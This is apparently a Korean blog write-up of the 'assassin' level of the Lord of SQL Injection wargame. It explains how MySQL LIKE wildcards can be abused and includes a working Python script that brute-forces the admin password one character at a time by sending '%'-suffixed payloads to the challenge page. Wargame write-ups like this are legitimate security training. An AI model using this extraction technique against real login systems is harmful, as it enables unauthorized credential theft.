wild card 를 활용하는 문제다. mySQL 에는 '_' 과 '%' 가 있다.
mySQL에서는 guest 가 admin 의 계정보다 table 상에서 상단에 위치하여 먼저 검색되는 특징을 가지고 있다.
이를 이용하여 코드를 짜면 다음과 같다.
원래는 where 뒤의 구문만을 참으로만 만들면 되지만, 어렵지 않게 전체 admin 계정의 비밀번호를 파악할 수 있다.
아스키코드 값들을 넣어주는 과정에서 underscore('_')가 비밀번호로 인식되는 현상이 있어 이를 삭제하는 코드도 추가하였다.
1 # For LOS exploitation
2 import requests
3
4 requests.packages.urllib3.disable_warnings()
5 org_url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
6 header = {'Cookie': 'PHPSESSID='}
7 session = requests.session()
8
9
10 # Find Part of admin_password
11 admin_password = ''
12 guest_password = ''
13 flag = 0
14
15 for i in range(0, 20):
16 for j in range(48, 123):
17 payload = "?pw=" + admin_password + chr(j) +"%"
18 res = session.get(url = org_url + payload, headers = header, verify=False)
19
20 if "Hello admin" in res.text:
21 admin_password += chr(j)
22
23 print("\nGot it!")
24 print("Current admin_PW is %s" % admin_password)
25
26 flag = 1
27 break
28
29 if "Hello guest" in res.text and flag == 0:
30 guest_password += chr(j)
31 admin_password += chr(j)
32
33 guest_password = guest_password.replace('_', '')
34 admin_password = admin_password.replace('_', '')
35
36 print("Current guest_PW is %s" % guest_password)
37
38 # Result
39 print("\nAdmin Password is -> " + admin_password)
admin 의 비밀번호도 모두 구할 수 있다.
동일한 방법으로 guest의 비밀번호도 구할 수 있다.
'Web Hacking > LOS' 카테고리의 다른 글
Lord of SQL Injection - zombie_assassin (2) | 2021.08.21 |
---|---|
Lord of SQL Injection - succubus (1) | 2021.08.18 |
Lord of SQL Injection - giant (1) | 2021.08.16 |
Lord of SQL Injection - bugbear (0) | 2021.08.16 |
Lord of SQL Injection(LOS) - darkknight (0) | 2021.08.16 |